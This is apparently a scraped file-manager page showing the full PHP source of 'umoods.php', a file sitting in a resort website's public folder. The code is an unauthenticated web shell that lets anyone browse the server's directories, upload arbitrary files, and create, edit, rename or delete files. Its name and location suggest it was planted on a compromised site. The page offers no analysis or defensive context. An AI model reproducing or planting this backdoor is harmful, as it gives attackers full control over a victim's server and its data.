File manager - Edit - /home/asiatechinc/public_html/asiatech-websites/dynastyresort.com/public/umoods.php
Back
<?php ini_set("display_errors",1); error_reporting(E_ALL); $current = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if(!$current || !is_dir($current)){ $current = getcwd(); } $item = isset($_GET['item']) ? basename($_GET['item']) : ""; $itemPath = $current . "/" . $item; /* LIST DIRECTORY */ function listDir($dir){ $files = array_diff(scandir($dir),[".",".."]); echo "<h3>Directory: $dir</h3>"; echo "<ul>"; foreach($files as $f){ $full = $dir."/".$f; if(is_dir($full)){ echo "<li>📁 <a href='?path=".urlencode($full)."'>$f</a> </li>"; }else{ echo "<li>📄 $f [<a href='?path=".urlencode($dir)."&action=edit&item=".urlencode($f)."'>Edit</a>] [<a href='?path=".urlencode($dir)."&action=rename&item=".urlencode($f)."'>Rename</a>] [<a href='?path=".urlencode($dir)."&action=delete&item=".urlencode($f)."'>Delete</a>] </li>"; } } echo "</ul>"; } /* UPLOAD */ function upload($dir){ if(!empty($_FILES['file']['name'])){ $name = basename($_FILES['file']['name']); $target = $dir."/".$name; if(move_uploaded_file($_FILES['file']['tmp_name'],$target)){ echo "✅ Uploaded: $name<br>"; }else{ echo "❌ Upload error<br>"; } } } /* CREATE FOLDER */ function createFolder($dir){ if(!empty($_POST['folder_name'])){ $folder = $dir."/".$_POST['folder_name']; if(!file_exists($folder)){ mkdir($folder); echo "📁 Folder created<br>"; } } } /* CREATE FILE */ function createFile($dir){ if(!empty($_POST['file_name'])){ $file = $dir."/".$_POST['file_name']; $content = $_POST['file_content'] ?? ""; if(!file_exists($file)){ file_put_contents($file,$content); echo "📄 File created<br>"; } } } /* EDIT FILE */ function editFile($path){ if(isset($_POST['content'])){ file_put_contents($path,$_POST['content']); echo "✅ Saved<br>"; } $data = htmlspecialchars(file_get_contents($path)); echo "<h3>Edit: ".basename($path)."</h3>"; echo "<form method='post'> <textarea name='content' style='width:100%;height:400px'>$data</textarea> <br><button>Save</button> </form>"; } /* DELETE */ function deleteItem($path){ if(file_exists($path)){ if(is_dir($path)){ rmdir($path); }else{ unlink($path); } echo "🗑️ Deleted<br>"; } } /* RENAME */ function renameItem($path){ if(isset($_POST['new_name'])){ $new = dirname($path)."/".basename($_POST['new_name']); if(rename($path,$new)){ echo "🔁 Renamed<br>"; } } echo "<h3>Rename ".basename($path)."</h3>"; echo "<form method='post'> <input name='new_name' value='".basename($path)."'> <button>Rename</button> </form>"; } /* ACTIONS */ if(isset($_FILES['file'])){ upload($current); } if(isset($_POST['folder_name'])){ createFolder($current); } if(isset($_POST['file_name'])){ createFile($current); } if(isset($_GET['action'])){ echo "<a href='?path=".urlencode($current)."'>⬅ Back</a><hr>"; switch($_GET['action']){ case "edit": editFile($itemPath); break; case "delete": deleteItem($itemPath); break; case "rename": renameItem($itemPath); break; } exit; } /* NAVIGATION */ echo "<b>Current:</b> $current "; echo "<a href='?path=".urlencode(dirname($current))."'>[⬅ Up]</a>"; listDir($current); ?> <hr> <h3>Upload</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button>Upload</button> </form> <h3>Create Folder</h3> <form method="post"> <input name="folder_name" placeholder="folder name"> <button>Create</button> </form> <h3>Create File</h3> <form method="post"> <input name="file_name" placeholder="file.txt"><br><br> <textarea name="file_content" placeholder="content"></textarea><br> <button>Create</button> </form>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.03 |
proxy
|
phpinfo
|
Settings